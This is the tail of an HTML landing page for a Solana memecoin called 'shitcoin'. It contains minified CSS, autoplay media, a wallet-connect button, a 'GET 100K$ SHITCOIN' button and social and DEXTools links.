.3s}.loader_content_warning_close[data-v-65cad27c]:hover{color:#c40c0c}.marquee-container[data-v-fe504f43]{z-index:9999;width:100%;overflow:hidden;white-space:nowrap;box-sizing:border-box;position:fixed;height:45px;display:flex;justify-content:center;align-items:center;background-color:#fff}.marquee-content[data-v-fe504f43]{display:flex;animation:marquee-fe504f43 690s linear infinite}.marquee-item[data-v-fe504f43]{display:flex;justify-content:center;column-gap:8px;align-content:center;flex-shrink:0;padding:0 4px;font-size:20px;color:#000;border-radius:5px}.marquee-item[data-v-fe504f43]>img[data-v-fe504f43]{width:40px}.marquee-item[data-v-fe504f43]>div[data-v-fe504f43]{margin-top:8px}@keyframes marquee-fe504f43{0%{transform:translate(0)}to{transform:translate(-50%)}}.wrapper[data-v-2ad755aa]{width:100vw;color:#fff;display:flex;flex-direction:column}.swv-dropdown-list{background-color:silver;border-radius:10px;font-family:Cherl,sans-serif;left:-14px;color:#000;width:100%;z-index:9999999}.swv-dropdown-list-item{z-index:999999!important;transition:all .3s;font-size:20px;width:90%;font-family:Cherl,sans-serif}.swv-dropdown-list-item:hover{background:inherit!important;scale:1.05}.swv-modal-wrapper{background-color:silver;color:#000;border-radius:10px;font-family:Cherl,sans-serif}.swv-modal-wrapper .swv-modal-title{color:#000;font-weight:800}.swv-modal-wrapper .swv-modal-list>li{display:flex;flex-direction:column;padding:0 10px}.swv-modal-wrapper .swv-modal-list>li .swv-button{cursor:pointer;box-shadow:none;background-color:transparent;border:none;font-family:Cherl,sans-serif;color:#000;transition:all .3s;width:98%;margin:0 auto;padding:8px 4px;display:flex}.swv-modal-wrapper .swv-modal-list>li .swv-button:hover{background-color:transparent!important}.swv-modal-overlay{-webkit-backdrop-filter:blur(12px);backdrop-filter:blur(12px);transition:all .3s ease;background-color:#000c}.swv-modal-button-close{background-color:transparent!important;color:#000!important;top:4px;right:4px;transition:all .3s ease}@font-face{font-family:Cherl;src:url(https://shitcoin.co/_next/static/media/311934e4de220c2f-s.p.otf) format("truetype");font-weight:400;font-style:normal}.app{display:flex;height:100vh;font-family:Cherl,sans-serif}html.dark{color-scheme:dark;--el-color-primary:#409eff;--el-color-primary-light-3:#3375b9;--el-color-primary-light-5:#2a598a;--el-color-primary-light-7:#213d5b;--el-color-primary-light-8:#1d3043;--el-color-primary-light-9:#18222c;--el-color-primary-dark-2:#66b1ff;--el-color-success:#67c23a;--el-color-success-light-3:#4e8e2f;--el-color-success-light-5:#3e6b27;--el-color-success-light-7:#2d481f;--el-color-success-light-8:#25371c;--el-color-success-light-9:#1c2518;--el-color-success-dark-2:#85ce61;--el-color-warning:#e6a23c;--el-color-warning-light-3:#a77730;--el-color-warning-light-5:#7d5b28;--el-color-warning-light-7:#533f20;--el-color-warning-light-8:#3e301c;--el-color-warning-light-9:#292218;--el-color-warning-dark-2:#ebb563;--el-color-danger:#f56c6c;--el-color-danger-light-3:#b25252;--el-color-danger-light-5:#854040;--el-color-danger-light-7:#582e2e;--el-color-danger-light-8:#412626;--el-color-danger-light-9:#2b1d1d;--el-color-danger-dark-2:#f78989;--el-color-error:#f56c6c;--el-color-error-light-3:#b25252;--el-color-error-light-5:#854040;--el-color-error-light-7:#582e2e;--el-color-error-light-8:#412626;--el-color-error-light-9:#2b1d1d;--el-color-error-dark-2:#f78989;--el-color-info:#909399;--el-color-info-light-3:#6b6d71;--el-color-info-light-5:#525457;--el-color-info-light-7:#393a3c;--el-color-info-light-8:#2d2d2f;--el-color-info-light-9:#202121;--el-color-info-dark-2:#a6a9ad;--el-box-shadow:0px 12px 32px 4px rgba(0,0,0,.36),0px 8px 20px rgba(0,0,0,.72);--el-box-shadow-light:0px 0px 12px rgba(0,0,0,.72);--el-box-shadow-lighter:0px 0px 6px rgba(0,0,0,.72);--el-box-shadow-dark:0px 16px 48px 16px rgba(0,0,0,.72),0px 12px 32px #000000,0px 8px 16px -8px #000000;--el-bg-color-page:#0a0a0a;--el-bg-color:#141414;--el-bg-color-overlay:#1d1e1f;--el-text-color-primary:#E5EAF3;--el-text-color-regular:#CFD3DC;--el-text-color-secondary:#A3A6AD;--el-text-color-placeholder:#8D9095;--el-text-color-disabled:#6C6E72;--el-border-color-darker:#636466;--el-border-color-dark:#58585B;--el-border-color:#4C4D4F;--el-border-color-light:#414243;--el-border-color-lighter:#363637;--el-border-color-extra-light:#2B2B2C;--el-fill-color-darker:#424243;--el-fill-color-dark:#39393A;--el-fill-color:#303030;--el-fill-color-light:#262727;--el-fill-color-lighter:#1D1D1D;--el-fill-color-extra-light:#191919;--el-fill-color-blank:transparent;--el-mask-color:rgba(0,0,0,.8);--el-mask-color-extra-light:rgba(0,0,0,.3)}html.dark .el-button{--el-button-disabled-text-color:rgba(255,255,255,.5)}html.dark .el-card{--el-card-bg-color:var(--el-bg-color-overlay)}html.dark .el-empty{--el-empty-fill-color-0:var(--el-color-black);--el-empty-fill-color-1:#4b4b52;--el-empty-fill-color-2:#36383d;--el-empty-fill-color-3:#1e1e20;--el-empty-fill-color-4:#262629;--el-empty-fill-color-5:#202124;--el-empty-fill-color-6:#212224;--el-empty-fill-color-7:#1b1c1f;--el-empty-fill-color-8:#1c1d1f;--el-empty-fill-color-9:#18181a}
</style>
  </head>
  <body>
    <div id="app" data-v-app=""><div class="app"><div data-v-2ad755aa="" class="wrapper"><!----><!----><div data-v-89136bae="" data-v-2ad755aa="" class="content"><div data-v-89136bae="" class="content_welcome"><button data-v-89136bae="">Enter</button></div><video data-v-89136bae="" class="content_video" playsinline="" loop="" autoplay="" preload="auto" src="https://cdn.shitcoin.co/shitcoin-co-background-video-v2.mp4"></video><audio data-v-89136bae="" loop="" autoplay=""><source data-v-89136bae="" src="https://cdn.shitcoin.co/shitcoin-co-backgroud-music-v2.mp3" type="audio/mp3"> Your browser does not support the audio element. </audio><div data-v-89136bae="" class="content_buttons"><div data-v-89136bae="" class="content_buttons_connect"><div class=""><button class="swv-button swv-button-trigger"> Select Wallet </button></div><!----></div><button data-v-89136bae="" disabled="" class="content_buttons_get">GET 100K$ SHITCOIN</button></div><div data-v-89136bae="" class="content_actions"><button data-v-89136bae="" class="content_actions_play"><img data-v-89136bae="" src="https://shitcoin.co/_next/static/media/play.6a7828e0.svg"><!----></button><a href="https://x.com/shitcoin" data-v-89136bae=""><img src="https://shitcoin.co/_next/static/media/twitter.429b53ca.svg" data-v-89136bae=""></a><a href="https://t.me/shitcoin" data-v-89136bae=""><img src="https://shitcoin.co/_next/static/media/telegram.5ad273dc.svg" data-v-89136bae=""></a><a href="https://app.shitcoin.co/" data-v-89136bae=""><img src="https://shitcoin.co/_next/image?url=%2F_next%2Fstatic%2Fmedia%2Fshit-icon.f84b9e72.png&amp;w=96&amp;q=75" data-v-89136bae=""></a><a href="https://www.dextools.io/app/en/solana/pair-explorer/5ZRGotmnv4mRHANeGC77YLu5vhJyu7M8HJ5SaLC38rR2" data-v-89136bae=""><img src="https://shitcoin.co/_next/image?url=%2F_next%2Fstatic%2Fmedia%2Fdextools-logo.b2cf3f53.png&amp;w=48&amp;q=75" data-v-89136bae=""></a></div></div><!----><!----></div></div></div>
  

</body></html>